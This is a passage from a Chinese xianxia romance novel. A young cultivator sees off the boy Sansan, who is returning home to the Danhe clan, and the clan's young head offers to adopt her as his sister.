春到南楼雪尽,惊动灯期花信。
寻仙山上冬日渐去。不过月余,仙游峰上的积雪开始慢慢消退,各色枝头又开始绽放艳花脆果。
这两日恰逢人间的上元灯节,柳扶荔从人间提着大袋小袋的新奇之物回了仙游峰,他给仙游峰上上下下都买了好些花样灯笼,灵苑内师兄妹几人也得他些许时新物样,单若水得了新的金丝线,宋折镜拿了玉剑穗,柳扶荔给岳寄欢带的是糖葫芦和樱桃蜜饯,甜,很对她的胃口。
柳扶荔一边把包着蜜饯的纸包递给岳寄欢,一边说:“你尝尝这个,这个好吃。”他又扒拉着手里抱着的一堆东西,嘱咐道,“对了师妹,我现在还要赶去去天星观和问肃堂,带了东西给弄舒他们。你晚些来问肃堂吧,丹荷那边来人了。”
岳寄欢捻了粒煎得红酿酸甜的蜜饯入口,问他:“怎的今日就来了?不是说要等两月后初春才来接三三。”
柳扶荔:“丹荷那边催得急,赶急赶忙地想要把三三接回去,谢忧折镜和他们通了信,于是便恰好赶在今日。”
岳寄欢捏着纸包哦了一声,柳扶荔抽出手摸摸她头顶柔软的发,温声道:“没关系,你晚些慢慢来,我也在堂中,会同你一起的。”
岳寄欢点头:“那师兄便去吧,我稍后来。”
柳扶荔闻言踏剑而去,他走得急,飘飘衣袂在空中扯出一道亮眼的长虹。岳寄欢抬头望着这枚红星远去,转身朝灵苑内走。
这两日的仙游峰因着上元节的缘故,各处都点缀了许多花灯,看着热闹很多。单若水正在廊中给岳寄欢缝裙子,她最近得了新丝线,便兴致勃勃地要去给岳寄欢做一件红色纱裙。这位三师姐只说她年纪那么小,却偏爱些深浅绛紫的衣服,性格又冷淡,就显得整个人颇为老成,早早失去了芳龄姑娘该有的活泼灵动。
单若水很快收完尾,拎着这件水红裙袄在岳寄欢面前上下比划两下,很满足地说:“好看,师妹快去换上,也映了这上元佳节。”
岳寄欢捻着蜜饯递给单若水,道:“师姐,我晚些要去问肃堂,这般色彩的衣服会不会太亮,我明日再换上可好?”
“丹荷的人来了?”单若水却问,她咬着岳寄欢送来唇边的甜食,含糊道,“那又如何?他问肃堂冷冷清清,就该容些鲜亮之色,我陪你一道去。”
岳寄欢只好应行,她没再拒绝单若水的好意,抱着衣服进了阁内。片刻后,她闪着一身的鲜红站在门前,抬起眼,门前是同她一样一身红衣的单若水。
她嚅嗫着唇:“师姐……”
单若水自身素来爱穿些恬静淡雅之色,今日竟也同她一道穿了这艳丽无双的水红,不过也尽显娇俏与活泼,意外衬得单若水更加明媚。
不过也是为了陪她一道穿。
单若水俯身捏捏岳寄欢的脸,温柔道:“就是要穿些亮色才活泼嘛,走吧,我们去问肃堂。”
……
问肃堂不在凌云宗内,而是在寻仙山仙都北处。
御剑飞行不算远,时间也还过得去。申时已过,岳寄欢同单若水一道落在问肃堂前。
问肃堂架于寻仙山北处耸立高伫的山巅之上,几乎要隐匿在层层阴云之中,殿前是刻了符文法咒的玄铁阶,殿上飞檐角吊着青铜铃铛,有些锈了,还沾染着层层叠叠的深色印记,像被血浸透过。
依稀能听见刮过殿中呼啸的风声。
这样巍峨骇人的景象,瞧上去实在同整座寻仙山明亮开阔的模样不太契合。
不过岳寄欢并不害怕这样的问肃堂。
她上一世常来这里,一般是接了问肃堂的任务,大多时候是替柳扶荔和高弄舒处理堂中杂事,也放得那二人出去清闲自在,毕竟问肃堂要处理的是整个仙都有关的刑罚疑事,简直忙得不能再忙了。
见身旁的小姑娘不说话,单若水以为岳寄欢第一次见了这样的场景难免心悸,便伸手拉住她道:“别害怕,走吧,我带你上去。”
她温热的掌心扣着岳寄欢尚且纤小的手,絮絮叨叨:“你待会儿见了丹荷的人无须害怕,你二师兄也在,我也在,师尊尚且闭关,所以不能陪你前来。丹荷那边的人我见过几次,不凶的,不过问你几句话便好。”
岳寄欢听着单若水这般耐心地嘱咐她,连连点头。
单若水心安了两分。
寻仙山北处尚冷,风中偶尔夹杂着几粒风雪,把岳寄欢同单若水的红衣吹得向后飞扬。她二人步子迈得不快,一步一阶,走了快一盏茶的时间才到了正殿门口,待有人来接她们进了丹荷来人安置的那方殿中,里面却已经坐满了人。
柳扶荔百无聊赖地支着腿坐在一旁的木椅上,高弄舒站在他身侧,低头和他不知在说些什么。二人见有人进了殿中,皆是一抬头,入眼是两道水红如火的身影。
沉闷闷的黑云大殿中乍然突起两抹刺眼生动。
高弄舒眼睛一亮,用气音招呼道:“若、水!”
单若水颔首,牵着岳寄欢往高弄舒他们这边走。
柳扶荔看见她二人今日的打扮后,眼中倒是意外浮现出几分讶异之色。他记忆里这师妹俩上一世都不甚爱穿这般亮色的衣服,如今看来当真是新奇得很。更别提今日他师兄妹三人身上都亮着一般的红色,看上去格外默契一致,像是无形同他人划开了分界。
岳寄欢跟在单若水身后,余光掠了一圈殿内。不远处,三三站在几道陌生面孔前眼巴巴望着她,陌生面孔看着像是丹荷水乡之地的柔美模样,那便是丹荷来的人了。
除了他几人外,谢忧也在。
这人今日也是意外地着了一袭朱红雪白,马尾高束,玉冠玉带,像是故意要衬这数日以来寻仙山上红梅踏雪之意。这厮褪去一身青衣,着红白色倒显得肆意俊美,看上去似乎身形又高挺了些。
岳寄欢的眼神在这拢梅色上短暂停留了一刻,即刻收回,又望向对面坐着的丹荷一行人。
从她二人进殿起,殿中气息凝滞了一刹那,而后转变为一种奇异微妙的氛围。
见此,柳扶荔抬了腔,将岳寄欢拉到身前,冲对方坐在主位的人说道:“祝庄主,这就是我那小师妹,也就是那个救了三——”他话转了个轻巧的弯,笑笑,“救了祝少庄主的小姑娘。”
听闻他此言“祝少庄主”,丹荷那边的人神色或多或少有些怪异,像是庆幸和惊喜,仔细瞧瞧,却又夹杂着些无奈与不甘。
此
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间人中,坐在主位面无表情的年轻男人闻言抬头,淡声道:“救了这孩子的人,是你师妹?”
柳扶荔轻轻点头:“是。”
祝庄主道:“我记得你三师妹已过碧玉之年,这位瞧着……”
柳扶荔道:“祝庄主贵人多忘事,去年天场大选举办得热闹非凡,小师妹便是去年入得我凌云宗。我师尊座下排第四,是我四师妹,岳寄欢。”他又点点岳寄欢身侧个子高挑的女孩道,“这才是我三师妹,您早年些见过的,单若水。”
祝庄主狭长地“哦”了一声,又望向站在单若水一行人身旁的岳寄欢:“那便要多谢这位岳姑娘救下这孩子,也算是救我祝家于水火之中。”
岳寄欢敛着眉眼,行了个恰到好处的礼:“祝庄主客气了,救下三三不过偶然之事。”
祝庄主抬手:“不必多礼。”他像是随口一提:“岳姑娘便是去年天场大选中唯二的异行灵根之一吧,不然也不会小小年纪就懂得使用灵力,除妖斩——”
“祝庄主。”柳扶荔唇角勾着淡薄的微笑,不经心打断了这位年轻庄主的话,“天色已晚。”
这是明目张胆地请人离开了。
一时间,众人神色各异,都颇具意外地瞧着这位言语放肆的橘红身影。
面对这位祝家最年轻,也是手腕最狠厉的当家庄主,也用这般语气请人走吗?
众人不是没听出来祝庄主话语里的试探。
只是没想到隶属问肃堂的凌云宗仙游峰玄意师尊座下的二弟子胆子竟如此大。
大家默契地瞥了一眼站在一侧默默不言的岳寄欢。
这仙游峰还真是,怪护短的。
祝庄主身体微微后仰,他摩挲着拇指上的玉戒,眯了眯眼道:“柳扶荔,你是不是太过张狂了些。”
柳扶荔面色不改:“这是问肃堂。”
祝庄主哼笑道:“不过夸赞你师妹两句,怎的了?夸不得?”
有些听不出这话所蕴含的情绪和意外,祝庄主身边的人却像是见了什么骇人恐怖的事情,不过须臾,他身侧或坐或站的人纷纷行礼离开了问肃堂殿中,三三也要被人带了出去,祝庄主却道:“这孩子留下。”
像是笼中小鸟挣开束缚,三三顶着泪眼一下子扑到岳寄欢怀里。
岳寄欢摸摸他的脸:“好了,不哭了。”
三三哽咽:“我不要走...阿姐。”
他二人在这边一副依依不舍模样,大殿中间分别坐着的柳扶荔和祝庄主却无形变为一种几近对峙的状态。祝庄主不断转动摩挲着玉扳指,柳扶荔懒散地倚着,神色淡然。
见情况不对,单若水也被高弄舒拉着出了殿门。
殿中一时间只剩五人,一边是祝庄主和谢忧,一边是仙游峰师兄妹二人,同哭唧唧的祝三三。
柳扶荔捏着折扇,语气乍变,不耐烦道:“行了。祝衔星,赶快把三三领回去。”
祝衔星也没了方才冷漠高傲的模样,他瞪了柳扶荔一眼:“催什么,没看见这孩子和你小师妹一副难舍难分的样子。”
柳扶荔:“不管,赶快带走。”
祝衔星:“……”姓柳的你这破性子能不能改。
29. 长大(一)
“我不想走,阿姐,你别让我和他走。”三三抓着岳寄欢衣摆不放,眼泪鼻涕都糊了她一身。于是岳寄欢身上这件今日才做好的新衣乍然显得皱巴巴的,扭曲一团,像粒枯萎的红梅。
柳扶荔站起身,嫌弃地把三三从岳寄欢身上拎开,对着他阴恻恻地说:“三三,这是我师妹今日才缝的新衣,你若是再把这衣服弄脏,我要罚你去执事堂洗一个月衣服。”
三三非常不满柳扶荔把他拎开,他梗着脖子,气冲冲道:“你罚啊,我还能多在这里待一个月。”
柳扶荔:“……”
三三到底是底气不足,细声细气的稚嫩柔声听上去不像是在撒泼,反而有点像撒娇。
一旁,岳寄欢尚且有些心疼单若水今日才给她做的新衣服,不过瞧着三三实在可怜,她便想着之后再将这衣服好好洗洗,用净化术清理也未尝不可。当下要紧之事,是把三三安全送回丹荷。
一方面她也能赶快完成任务,另一方面,三三这种有明确归属和身份的小孩子,终究不宜多时待在寻仙山。
去年整整一年三三时常待在问肃堂和青鸾宫,谢忧和宋折镜那边在三三之事上对岳寄欢多加防范。这一年下来,她和三三之间也见不到几回,三三一见她就爱可怜巴巴地黏着她,她也怜惜这小孩,便偶尔会托柳扶荔带她偷偷溜去青鸾宫内找三三。
毕竟她现在挂着这副十来岁的身体和灵力,一个人孤零零跑去青鸾宫,难免怕被逮到。
万一真被谢忧这厮抓住当场抹了脖子怎么办。
如今,想到三三这孩子无父无母,不仅失去记忆还丢了长姐,现在又要被没见过几面的主家家主带走,一个人去到陌生的丹荷长大,岳寄欢眸中怜惜意味更盛,她走到被柳扶荔拎开的三三面前,弯腰哄他:“三三,你尚且随着祝庄主回丹荷,我会时常来看你的。”
三三皱巴着脸,态度很强硬:“我不走。”
岳寄欢劝慰道:“跟着祝庄主回去,他会待你好的。”
三三摇头:“不要。”
岳寄欢:“三三,听话。”
三三:“我!不!”
三三巨大尖细的声音快要把这方大殿的天花板都顶破。他脸色有些涨红,又止不住眼眶中滚滚掉落的眼泪,哭得上气不接下气:“我求你了阿姐,我就不要去丹荷,不要去不要去,我只记得你了,我只有你呜呜呜……”
三三哭得惊天动地,旁人不知道的还以为是问肃堂中有人对他动了刑,使他遭了什么疼痛的皮肉之苦,哭得那么狼狈。
祝衔星蹙着眉:“这孩子性子怎的如此软弱,动不动就哭天抢地的。”
柳扶荔难得为三三这小孩说了句话:“三三如今也才十一岁,年龄小,又是孤身一人。”
祝衔星叹了口气,他望向抱着岳寄欢哭个不停的祝三三,不知是想到些什么,终究退了一步:“叔父叔母于我有大恩,当年遣了他们去到素金城也是万不得已。”他一顿,“三三,我算得你长兄,你随我一道回去,无论如何,我保你一生平安。”
祝衔星闭了闭眼,很有决心,很凄凉地道:“即使是用我的命。”
他语气带了点委屈巴巴,有点子和三三卖惨的意思。
闻言,柳扶荔和谢忧皆是抬眼沉沉看他。
柳扶荔瞪了他一眼:“你一天到晚胡乱扯什么生啊死的干嘛,怎么,嫌命长啊。”
谢忧也侧眸看向这位年轻庄主,安慰道:“祝庄主慎言,碧凌山庄乃仙门大家,虽处人间,但背后总是有仙都百家守着的。”
祝衔星脸上划过一丝微妙的苦笑,他随即按捺下心头这股愁闷,还是说:“罢了,也是我激动了些。”他语气温软下来,“那三三觉得呢?”
或是本就抱着哄也要把三三哄回去的决心,祝衔星今日扮得一副温良模样。墨发低束,神色间尽显温润儒雅,着一身剪裁恰好的月牙色锦袍,笑容浅淡,清瘦如竹。
当真是水映月,天上星。
方才众人在殿中之时,他眉目间倨傲尽显,矜贵漠然;这会拉下面子来哄三三,气质蓦然变了,的的确确是丹荷之人身上留存的温柔之气。
岳寄欢微微挑眉,看着这位在三三面前尽力扯着笑脸的年轻男人。
不料,见三三死活不松口,这位看上去温润如玉的祝庄主却忽地把矛头对向她,笑吟吟道:“既如此,那岳姑娘觉得呢?”
岳寄欢尚没反应过来祝衔星这话是什么意思,又听对方自顾自地说:“若是仙游峰肯放手,我祝家愿以尽数天地法宝,换得岳姑娘同我和三三一道回丹荷。”他笑得不经心,看向岳寄欢眸色沉沉,“我家二姐不知踪影,如今你也可做了这孩子真正的长姐,我认下你做义妹。再说,祝家待你,不会比凌云宗差。”
祝家二姐,那便是三三那个消失在动乱里的真正的长姐了。
闻言,揪着岳寄欢衣摆不放的三三眼中燃起希望的光亮,他一双清浅眸子熠熠生辉,眼巴巴瞧着岳寄欢:“阿姐……我可以回去,那你能不能陪我一起。”他吸了吸鼻子,“好不好?”
殿中沉默一片,一时间惊在了祝衔星这番话里。
柳扶荔却比岳寄欢先炸毛,他被祝家这两人说的话惊得不轻,一贯的优雅从容也碎了满地:“姓祝的,你挖人挖到我师妹身上去了!三三且罢,你个笑面虎你要不要脸?!”
受了柳扶荔一顿骂,祝衔星也不气,他含着笑:“做我祝家之女难道不是更好的选择?你师妹还未说什么呢,瞧瞧,你又急。”
柳扶荔气得发疯:“带着祝三三给我滚出问肃堂!”
三三又哭兮兮去晃柳扶荔手臂:“柳哥哥,他要滚便滚,我不要走。”
祝衔星:“……”祝三三这个胳膊肘往外拐的。
岳寄欢一怔,她有些好笑地拦下了气得昏头的柳扶荔,而后冲祝衔星平静道:“多谢祝庄主抬举,只是寄欢无心离开凌云宗。三三于我而言固然重要,可我总不能陪她一辈子。”
她温和地看向三三:“她总有记起一切的时候,三三有她真正的长姐,于情于理也轮不到我。祝家当务之急须找到消失的祝二小姐,带三三回到丹荷。”
岳寄欢余光掠向禁闭的殿门,冷冷道:“保她长大。”
祝衔星眯了眯眼,三三也是愣愣,他不哭了,呆呆抓着岳寄欢不动。
倚在一旁的谢忧或许是看够了戏,也懒声说:“祝庄主还是趁早打消了带岳师妹回丹荷的心吧。”他笑得恶劣,“毕竟等岳师妹去了丹荷,那般遥远,怕是更难对我下手了。”
在祝衔星听来,这话难免有些奇怪,甚至有些……诡异的熟稔模糊之感。
岳寄欢偏头微笑:“是吗?谢小仙君也太过自大了,我就是被流放到天涯海角之地,也会带着你的命一起走。”
“谢某等着岳师妹。”谢忧嗤声,“话说,岳师妹怎的不愿唤我一声谢师兄?难不成是不愿承认我青鸾宫?
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”
这人老爱拿称呼说事。
岳寄欢愈笑愈恨,咬字重重地喊了声:“是我疏忽了,抱歉,谢、师、兄。”
谢忧应了声,很爽快地收下这句师兄,诚恳道:“没关系的,我接受你的道歉,岳师妹。”
岳寄欢:“……”迟早把你凌迟了,狗贼。
祝衔星看不明白他二人间的暗流涌动,耳中只得听了岳寄欢这番话,依旧不死心:“我家二姐她……罢了,你真的不再考虑考虑吗?岳姑娘。”
柳扶荔怒怼:“考虑什么?我不同意。”
祝衔星冷笑:“你管得着吗?”
柳扶荔:“我是她师兄,长兄如父,我还管不得了?”
祝衔星瞥他一眼:“你把宋折镜或者你师尊喊来,你是她二师兄,算什么长兄?”
柳扶荔气恨:“我年龄比宋折镜大,怎的算不得长兄?”
祝衔星:“知道你年龄大了,二师兄。”
柳扶荔:“……”
对方这话说得他好像是个什么七老八十的老头一样,实际上他今岁也不过刚及弱冠,正是风华正茂书生意气之时。
难得见柳扶荔这副气急模样,岳寄欢心中感动,赶忙道:“我心已决,不会离开凌云宗。”
“……”
“岳姑娘再三拒绝,我也不好再劝,那便罢了。”祝衔星落寞地垂下眼,他点了点额,对三三道:“那你呢,你真的不和我走?”
三三抿着唇:“可以吗?”
祝衔星亲和道:“不可以。”
三三:“……”
这位芝兰玉树的年轻庄主起身拉过三三,温情地看他:“你必须同我回丹荷。”他语气沉重,“祝家需要你。你如今虽失去记忆,但你父母和长姐之事尚未查清,素金城动乱不是偶然,你须同我回去查明一切,为你父母亲人报仇。”
祝衔星带着薄茧的指腹蹭了蹭三三养了一年才稍微养胖点的脸颊:“失去记忆,不是你所逃避的理由。”
他起身,高高的个子在三三面前投下一块巨大的阴影,以藐视的姿态望着面前的小孩。对于个子小小的三三来说,他甚至需要努力仰起头,才可以勉强看清这位陌生长兄的脸,长兄背对着身后的强光,只显出身形,脸色冷恹。
清瘦的身影高高在上,几乎要令三三遥不可及。
他下意识往后,踉跄着撞进了身后岳寄欢温热的怀里。
感受到身前小孩的紧张和无措,岳寄欢伸手撑住了三三单薄的脊背。这孩子在寻仙山这一年养胖了许多,也不再是此前那样皮包骨头的模样,但依然瘦小,爱哭,在人生往前十几年的记忆消失大半后,那么小孩子气。
岳寄欢冰凉的掌心有了温度,她抚上三三的背,蹲下身,扶着三三肩膀转了个圈,目光平视着他。然后,她像这孩子真正的长姐一样郑重地对他说:“三三,回到你该去的地方,只要你记得,我永远是你阿姐。”
身后有了可以支撑的倚仗。
是这个比他大不了几岁的小姑娘,温柔地把他从妖怪手里救下,给了一片空白的他新生。
三三收起了眼泪。
他张开双手紧紧抱住岳寄欢,把脑袋埋在对方的脖颈里道:“我答应你,你一定要来看我。”
“一定,一定要来丹荷看我。”他说。
或许是埋在岳寄欢肩上的声音太闷太轻了。
再没人听得出来三三这孩子,有没有哭。
30. 长大(二)
丹荷一行人在三日后启程。
这三日间,三三成功地待在了岳寄欢身边,他也不必像此前将近一年的时光里,同岳寄欢见面躲躲藏藏,活像偷鸡摸狗。
短短三日过去的很快。
霜雪未化,嫩柳初绿。
寻仙山门前,准备启程的一行人乌泱泱地站在一起作着最后的道别。丹荷之人少来寻仙山,如今一来,趁着这个为数不多的机会,与仙山上相熟之人一时倒也聊得畅快。
在岳寄欢相熟之人中,来送丹荷一行人的除了她自己,还有一道熟悉的少年身影。
段家姐妹去了幻境历练,宋折镜同单若水高弄舒被派遣去了人间除妖,柳扶荔处理完问肃堂的事务,即刻去了上京城,说有急事。
总总,便只剩她一个同居然有闲心来送三三的谢忧。
莫不是三三在青鸾宫中这段时间,两人间还生出些惜别之情。
山门一隅,岳寄欢有一搭没一搭地望着山门前的众人,三三正揪着她裙摆不放,念来念去:“阿姐……阿姐。”
岳寄欢心不在焉道:“怎么了?”
三三见她一副漫不经心的模样,有些闷气,他想他阿姐是不是又不在意他的离去了,明明他马上就要走了,这小姑娘却一副瞧着无所谓的模样。
三三委屈巴巴的眨着眼,低头抓着岳寄欢裙边的流苏。
岳寄欢依旧走着神。
她不是不在意三三的离开,她只是在想,第三次任务为什么会是保证三三安全回到丹荷?
那只能说明三三此去,路途上必定凶险万分,说不定还会威胁到三三这孩子的安全。
她这般想着,半晌,像是下定什么决心一样,蹲下身与三三平视。
三三见岳寄欢终于回神正眼瞧他,一副很激动的模样:“阿姐!”
岳寄欢双手扶住三三的肩膀,将他整个人转了个轻巧的圈。
三三乖巧地瞧着岳寄欢的举动,他不大明白他阿姐要干什么,但他听话。
岳寄欢上下来回扫视了一圈三三,眼神一亮,伸出手摸了摸三三发间用绸带扎好的小髻:“对了,就是这个。”
三三顺着她的眼神,同样摸摸自己的发间,扎成女孩发髻的头发。
为了不让岳寄欢发现他是个男孩儿,三三自带着从遥香谷出来那一身素净的打扮之后,一直没怎么变过别的打扮。
等进了青鸾宫,谢忧差人给他找了好几身男孩儿着的衣裳。
三三并不抗拒,他本来就是个男孩子,再说,身处青鸾宫,他也没什么遮掩的必要。
于是三三穿着一身男装,很安心地度过了大半月。
直到某天,岳寄欢大半夜偷摸着跑来宫中瞧他。
他那日恰好睡得晚,大半夜还着白日里的衣裳,便是一副实打实的男孩儿装扮。
见到从窗中跳进来的岳寄欢的第一眼,三三以他此生最快的速度把身上的衣裳一剥,整个人猛地跳进薄薄的锦被里。
方才,腰带一松,他的衣裳正松垮垮地搭在他瘦小的身躯上,衣裳便显得宽大了许多。
岳寄欢很气愤:“谢忧那厮会不会照顾人!怎的给你一小姑娘找些宽大繁冗的男孩儿衣裳。”
岳寄欢身后的柳扶荔:“……”
三三讪笑:“啊……是,是啊。”
柳扶荔无可奈何道:“师妹,你是不是未曾……”
他想问岳寄欢是不是从来没探过三三心脉。
如果不仔细去探探三三心脉,的确难看出三三这孩子是个男孩儿,这小孩生得太过清丽,男生女相,现在这个年纪,嗓音又细。
抱着被子坐在床上的三三立刻睁大眼,几乎是以祈求的眼神望着柳扶荔。
柳扶荔很会意这孩子的意思,他顶着岳寄欢回头疑惑的目光,硬生生把话拐了个弯:“你今夜是不是还未吃过饭?”
岳寄欢:“……是。”
于是那晚,他三人很愉悦地在三三的屋内吃了好些茶水点心,都是青鸾宫特地做给三三这小孩吃的,微甜,又软又糯。
自那晚之后,三三便请求谢忧给他找一些女孩儿穿的衣服。
谢忧有些惊讶:“你要干什么?”
三三拽着谢忧衣袖,硬邦邦道:“我想穿。”
谢忧:“……”这小孩是有什么怪癖吗?
半晌,谢忧摸着下巴,眼眸含笑。他勾了勾三三身上的衣裳,问道:“你阿姐前几日来看你了?”
三三知晓这人和岳寄欢不对付,连忙道:“没有。”
“不信。”谢忧半躺在木制摇椅上一晃一晃,青色的衣带随身形飘扬。今日天气晴,阳光热烈,他抬手遮住了眼睛,薄唇轻启,“你告诉我实话,我就让人去给你寻些女孩儿衣服。”
他哼笑道:“不然你就一直穿着这身衣裳。”
三三有些迟疑:“如果她来了你的地盘,你会对她动手吗?”
听着这声“你的地盘”,谢忧有些好笑地直起身子望向三三,而后忍着这阵笑意:“不会。你搞清楚了,是你阿姐要对我动手。”
这小孩说话怎的那么好玩。
于是三三毫不犹豫:“前几日,她来看我。”他又补充道,“没待多久就走了。”
谢忧拖着调子长长地“哦”了一声,也没再说什么,之后倒也真给三三这孩子寻了好些女孩儿样式的衣裙啊,发簪绸带什么,硬生生给他扮得如富贵人家里娇俏可爱的小姑娘。青鸾宫中女孩又多,小姑娘们凑在一起叽叽喳喳瞧着三三很新奇,三三也就任由她们每日寻着新衣裳来给他打扮,只要不被发现是男孩儿就好。
自此,三三自今日都是这副女孩儿打扮,粉裙长绸。丹荷那边的人初来之时见他还以为寻错了人,讶异这位素金城祝家遗孤一个好好的小郎君,怎的忽然变成了一个小姑娘。
三三为此解释了好半天,最后还是祝衔星忍着笑一个人闷了许久,才勉强同意三三顶着这副模样直到回丹荷。
找谢忧换衣那日炎热的阳光,逐渐变为现在落到身上凌冽的霜雪。
岳寄欢伸出手在他眼前晃了晃:“三三?三三!”
三三回过神,他问:“怎么了吗?阿姐。”
岳寄欢一只手还搭在他用粉色绸带系好的发髻上,见三三问,岳寄欢从袖中摸出一条如火殷红的长绸,将三三发间那抹粉绸取下。
三三一时间愣住,有些不知所措地望向岳寄欢。
岳寄欢解释道:“虽有丹荷众人随你一道,但我总归不放心,况且等你去了丹荷,我们便不能见面。”
三三精准地抓住了岳寄欢话中的关键,匆忙道:“为什么不能见面?”
岳寄欢:“我大师兄和谢忧不会让我去的。况且,你回到丹荷须历练数年,不会再来寻仙山,我的名也尚且挂在了问肃堂中。”
她有些不好意思地咳了咳:“限行。”
三三:“……”
因着当时谢忧同宋折镜对岳寄欢疑虑太深,此事尚且关乎丹荷祝家,岳寄欢又是只身一人,身世模糊,她的名字便暂且被记录在问肃堂刑疑名册里。
这名册是用特殊的墨誊写,写上去的名字会刻在人间各地的通行处,岳寄欢那栏中,丹荷恰好在限行名单。为了这事,柳扶荔暗中弄了半天也消不掉,玄意来了也没用,最后只得安慰岳寄欢:“为师一定好好罚你大师兄,我相信徒儿必然不会是那等祸乱之人,只待几年后名册消除,到时我遣你几个师兄师姐带你去玩。”
就算这一世岳寄欢身上疑点重重,但令她意外的是,玄意倒是一如既往的无条件相信她,简直快到了溺爱的程度。
想到这里,岳寄欢赶忙安慰欲哭无泪的三三:“没关系,这名册上名字约莫五年便能消除,彼时我再来丹荷寻你。”她笑笑,“你那时也长大了。”
三三张了张嘴,他很想说“我不要”,但憋了半天,为
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了不让岳寄欢担心,他还是哽咽道:“好,我等你。”
岳寄欢又道:“这才对。”她挽着手中的红绸,指尖抚上三三头发,重新给他扎了个双髻,温和地说,“这是系心扣,我特意把它化了形,用作绸带束在你发上。三三,系心扣有一对,你一个我一个,只要你带着它,无论发生什么,我都知道,你要是遇到危险,我能第一个知晓。”
三三彻底怔住了。
他任由岳寄欢重新挽着他长了很多的发丝,缓缓道:“阿姐,这个,你有一个,我有一个?”
岳寄欢扎好发髻,满意点头:“是啊。”
三三此去她不能陪同,便想着有了这系心扣,万一对方在路途中发生些什么,她也能及时知道,甚至赶到。
不过这系心扣她手里目前只有一个,另一个还得等此次任务完成后任务奖励,只是不要紧,系心扣一只也能使用,不过感应效果没有两只一起用好罢了。
想想,岳寄欢又从储物手镯里翻出一沓写好的朱砂符咒,还有之前玄意给她的法器。
她从中挑了几样保命用的一股脑塞进三三怀里,还找了些丹药,嘱咐道:“三三,要是遇到什么危险就躲到祝庄主身后去,再不济,这些法器无须灵力也能催动,关键时刻能救你。”
三三嚅嗫着唇:“谢谢,阿姐。”
原来阿姐方才走神是在担忧他的安危。
不过随着这一行人回丹荷,能有什么安危?
三三有些不解的模样,刚要开口,却见不远处走来一道熟悉的青色身影。
谢忧闲声道:“三三,走了。”
岳寄欢抬眸望向来人:“你也要去?”
谢忧抱着手里的断水,漫不经心地答:“怎么?我不能去丹荷。”
他像是想起来什么般歪头笑笑,很欠揍地道:“是了,毕竟岳师妹去不了那般清荷水乡之地。”
岳寄欢微笑:“拜谢师兄所赐。”
谢忧面色不改,懒懒应她:“不必客气。”
岳寄欢:“……”
她垂着头,一时没再接谢忧的话。
谢忧垂眼瞧着她。
他问:“岳师妹有话要说?”
岳寄欢缓慢抬起头,她下巴微抬,带着点微妙矜贵的意气,而后,这股傲气尽散,她几乎以祈求的姿态,俯身冲着谢忧一拜。
谢忧眉眼微抬,意外地望着面前平日里懒散傲气的少女。
按理来说,他给这小姑娘下了不少绊子,两人间还互相放过杀了对方的狠话。
可现在,对方却用这样的姿态对他。
谢忧心里升起一股莫名其妙的烦躁,心脏如同被针刺了一下。真奇怪,他明明对面前的少女心存漠然和冷厌。
此刻,他却一点也不想瞧见对方用那么郑重的模样,对着他卑躬屈膝。
就好像一枚平日里悬挂得再高再明媚的太阳,现如今颓气地坠落到冰冷的池水里。
倒显得他欺负了面前这小姑娘似的。
谢忧扭过头去:“要说什么便说吧。”
他一挑剑柄,硬生生将岳寄欢俯身弯下的身体抬起。
岳寄欢对此没什么反应,像是意料之内,她只是直起身平静道:“我有一事相求,若不是别无他法,我断断不会拜托你。”她道,“只望谢师兄能暂且放下你我恩怨,我只求你保住三三,将她安全送回丹荷。”
“是我欠你一个人情。”她抿着唇,隔着丹荷众人的视线说:“至于他们,除了祝庄主,其他人,我一个都不信。”
这会,她求人的态度好像又没那么紧绷和郑重了。
这样也好。
谢忧抬起眼,像是不经意一问:“哦?那我也值得岳师妹信任吗?”
岳寄欢脸上没什么表情:“在此事之上,你比他们——”
她眼中浮起一漾轻微的波澜,很轻的声音几乎吞没在忽然刮起的风中:“可信得多。”
31. 丁香结(一)
此去丹荷路途遥远,霜凋夏绿。
岳寄欢随着祝家一行人一路将三三送至丹荷之地前方百余里,再往后走,丹荷的地界屏障阔得太宽,对她有禁制,她过不去了。
落到休憩的驿站处,三三一只手被祝衔星牵着,另一只手扯着岳寄欢袖口:“阿姐,记得写信。”
岳寄欢连忙应他:“好,我记得的。”
一旁的祝衔星温声道:“这么长一段路途,麻烦岳姑娘了。”
岳寄欢道:“祝庄主不必多言,这是应该的。”
祝衔星闻言点头,柳扶荔不在,他同岳寄欢之间也没有什么可说的。思忖两秒,他才像又想起什么似的:“来仙都一路太过匆忙,我竟一时间忘记多感谢你。”祝衔星顿了顿,“岳姑娘救了这孩子,此恩没齿难忘。我祝家理应为你备一份谢礼,你想要什么?”
想要什么?
岳寄欢没什么想要的,便一时推脱起来:“祝庄主不必在意此事,寄欢没什么想要的,能瞧着三三回到祝家便好。”
祝衔星微微眯着眼:“你当真没什么想要的?”
岳寄欢正色道:“没有。”
且不说送祝三三回丹荷一事是任务,任务成功,岳寄欢也能得些奖励;再言,她同三三之间也算感情深厚,若是讨了祝家的东西,倒显得她有点儿像是把三三卖了。
何况从祝家手里,真的没什么特别想要的。
祝衔星却又道:“我此前暗中听闻岳姑娘是孤身一人。”他望着岳寄欢没什么波澜的眼神,“在问肃堂中我且问你愿不愿意做我祝家义女,当然,那是你愿意同我一道回丹荷。”
他无奈地笑笑,开了个小玩笑:“却未曾想到岳姑娘不愿同我们一道走,还限行丹荷。”
岳寄欢脸上挂上一丝微妙的笑容:“祝庄主不信我。”
“不。”祝衔星摇头,背对着不远处的丹荷众人,他平静道,“我信你。不论是救下三三,还是作为柳扶荔的师妹,于情于理,我都不会怀疑你。”
岳寄欢有些迟疑:“那祝庄主的意思是……”
祝衔星语气略微沉重,却是果断得很:“我是真心想要岳姑娘做我的义妹。”
三三偏头抬起,眼眸闪烁。
岳寄欢叹了口吁长的气:“祝庄主,这是谢礼,还是想要拉我一起下水。”
祝衔星道:“聪明,但算不上拉你下水,我也相信岳姑娘不会拒绝。不对,现在应该唤你小妹。”他语气太肯定,带着不容抗拒的威胁。
岳寄欢:“……”她二师兄果真没错骂,这祝庄主当真是个枭心鹤貌的笑面虎。
不过,成为祝家义女对她来说百利而无一害。
岳寄欢微微偏头道:“这是趁着我孤零零一个,祝哥哥便要来威胁我了。”
听见这声很上道的“祝哥哥”,祝衔星眸中笑意愈盛:“小妹何必说得如此难听,这称不上威胁,此事对你我都有好处。”
他说罢,抬手将一块刻着“祝”字同清荷花苞的银边白玉牌递给岳寄欢,温柔道:“这是祝家玉牌,有了此物便可证明你是我祝家之人。小妹身份一事,我回到祝家便会告知众人,有了我祝家做倚仗,你行事也方便许多。”
